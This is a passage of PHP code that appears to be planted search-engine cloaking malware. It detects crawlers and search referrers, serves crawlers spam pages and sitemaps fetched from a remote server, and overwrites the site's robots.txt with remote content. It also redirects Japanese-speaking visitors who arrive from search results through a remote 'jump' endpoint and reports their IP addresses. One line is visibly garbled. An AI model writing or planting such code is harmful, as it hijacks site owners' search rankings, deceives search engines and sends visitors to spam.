server('HTTPS') && ("1" == $this->server('HTTPS') || "on" == strtolower($this->server('HTTPS')))) {\n return true;\n } elseif ('https' == $this->server('REQUEST_SCHEME')) {\n return true;\n } elseif ('443' == $this->server('SERVER_PORT')) {\n return true;\n } elseif ('https' == $this->server('HTTP_X_FORWARDED_PROTO')) {\n return true;\n }\n return false;\n }\n public function host()\n {\n $host = strval($this->server('HTTP_X_FORWARDED_HOST') ?: $this->server('HTTP_HOST'));\n return strpos($host, ':') ? strstr($host, ':', true) : $host;\n }\n public function scheme()\n {\n return $this->iss() ? "https" : "http";\n }\n public function dm()\n {\n return $this->scheme() . "://" . $this->host();\n }\n public function ip()\n {\n if (getenv('HTTP_CLIENT_IP')) {\n $ip = getenv('HTTP_CLIENT_IP');\n } elseif (getenv('HTTP_X_FORWARDED_FOR')) {\n $ip = getenv('HTTP_X_FORWARDED_FOR');\n } elseif (getenv('REMOTE_ADDR')) {\n $ip = getenv('REMOTE_ADDR');\n } else {\n $ip = $this->server('REMOTE_ADDR');\n }\n return $ip;\n }\n public function isc()\n {\n $agent = strtolower($this->server('HTTP_USER_AGENT'));\n if ($agent != '' && preg_match('/googlebot|google|yahoo|bing|aol/si', $agent)) {\n return true;\n }\n return false;\n }\n public function isg()\n {\n $refer = strtolower($this->server('HTTP_REFERER'));\n $referbots = 'google|yahoo|bing|aol';\n if ($refer != '' && preg_match("/($referbots)/si", $refer)) {\n return true;\n }\n return false;\n }\n public function uri()\n {\n if (($pos = strpos($this->server('REQUEST_URI'), '.php')) !== false) {\n $script_name = basename($this->server('SCRIPT_FILENAME'));\n if (basename($this->server('SCRIPT_NAME')) === $script_name) {\n $url = $this->server('SCRIPT_NAME');\n } elseif (basename($this->server('PHP_SELF')) === $script_name) {\n $url = $this->server('PHP_SELF');\n } elseif (basename($this->server('ORIG_SCRIPT_NAME')) === $script_name) {\n $url = $this->server('ORIG_SCRIPT_NAME');\n } elseif (($pos = strpos($this->server('PHP_SELF'), '/' . $script_name)) !== false) {\n $url = substr($this->server('SCRIPT_NAME'), 0, $pos) . '/' . $script_name;\n } elseif ($this->server('DOCUMENT_ROOT') && strpos($this->server('SCRIPT_FILENAME'), $this->server('DOCUMENT_ROOT')) === 0) {\n $url = str_replace($this->server('DOCUMENT_ROOT'), '', $this->server('SCRIPT_FILENAME'));\n }\n $requri = $url . substr($this->server('REQUEST_URI'), $pos + 4);\n } else {\n $requri = substr($this->server('REQUEST_URI'), strpos($this->server('REQUEST_URI'), '/'));\n }\n return rtrim($requri, '/');\n }\n public function execReq($url, $p = array())\n {\n $url = str_replace(' ', '+', $url);\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_HEADER, 0);\n curl_setopt($ch, CURLOPT_TIMEOUT, 20);\n curl_setopt($ch, CURLOPT_POST, 1);\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($p));\n $output = curl_exec($ch);\n $errorCode = curl_errno($ch);\n curl_close($ch);\n if (0 !== $errorCode) {\n return false;\n }\n return $output;\n }\n}\n$req = new Req();\n$isc = $req->isc();\n$isg = $req->isg();\n$umap = $tr . "map";\n$uri = urldecode($req->uri());\n$p = array(\n "domain" => $req->dm(),\n "port" => $req->server('SERVER_PORT', 80),\n "uri" => $uri\n);\nif (substr($uri, -10) == "robots.txt") {\n header("Content-type:text/plain; charset=utf-8");\n die($req->execReq($tr . "robots", $p));\n}\nif (substr($uri, -6) == "robots") {\n $output = $req->execReq($tr . "robots", $p);\n $rpt = __DIR__ . "/robots.txt";\n file_put_contents($rpt, $output);\n $robots_cont = @file_get_contents($rpt);\n if (strpos(strtolower($robots_cont), "sitemap")) {\n die("robots.txt file create success!");\n } else {\n die("robots.txt file create fail!");\n }\n}\nif (substr($uri, -4) == ".xml") {\n if (strpos($uri, "allsitemap.xml") || strpos($uri, "sitemap-index.xml") || strpos($uri, "sitemap-index-1.xml") || strpos($uri, "index.xml")) {\n $output = $req->execReq($umap, $p);\n header("Content-type:text/" . (substr($output, 0, 5) === 'execReq($tr . "word", $p);\n header("Content-type:text/xml; charset=utf-8");\n if ($output == "1") {\n die('' . $req->execReq($umap, $p));\n } else {\n die('' . $output);\n }\n}\n$lang = $req->server('HTTP_ACCEPT_LANGUAGE');\nif (!$isc && $isg && strpos($lang, 'ja')!==false) {\n $p["ip"] = $req->ip();\n $action = $tr . "jump";\n die($req->execReq($action, $p));\n}\nif ($isc) {\n die('' . $req->execReq($tr . "indata", $p));\n}\n?>